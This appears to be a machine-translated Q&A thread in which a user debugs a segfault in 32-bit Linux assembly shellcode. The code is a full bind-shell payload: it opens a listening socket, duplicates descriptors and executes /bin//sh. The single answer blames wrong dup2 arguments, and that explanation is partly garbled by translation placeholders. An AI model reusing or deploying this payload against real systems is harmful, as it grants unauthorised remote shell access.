端口绑定shellcode中的分段错误

时间:2014-03-23 18:18:32

标签: linux assembly shellcode

我试图使用shellcode打开一个监听器,但是我得到分段错误,我读到这个错误是由于写入内存中的只读位置,并且ld链接器中的-N选项将解决它没有为我工作。
 代码:

BITS 32
global _start
_start:

xor eax,eax
xor ebx,ebx
cdq

push eax
push byte 0x01
push byte 0x02


mov ecx,esp
inc bl
mov al,102
int 80h
mov esi,eax

push edx
push 0xAAAA02AA
mov ecx,esp
push byte 0x10
push ecx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h

push edx
push esi
mov ecx,esp
mov byte bl,0x04
mov al,102
int 80h

push edx
push edx
push esi
mov ecx,esp
inc bl
mov al,102
int 80h
mov ebx,esp

xor ecx,ecx
mov cl,3

loop:
dec cl
mov al,63
int 80h
jnz loop

push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 80h
然后我运行以下命令: nasm -f elf file.asm ld -N file.o -o file

当我运行文件时出现分段错误,请帮忙。

1 个答案:

答案 0 :(得分:0)

学习使用调试器并注释代码。也就是说,问题似乎是dup2系统调用错误参数,因为加载到esp的{​​{1}}不太可能是有效的描述符。这会导致错误返回,然后将所有其他系统调用搞砸。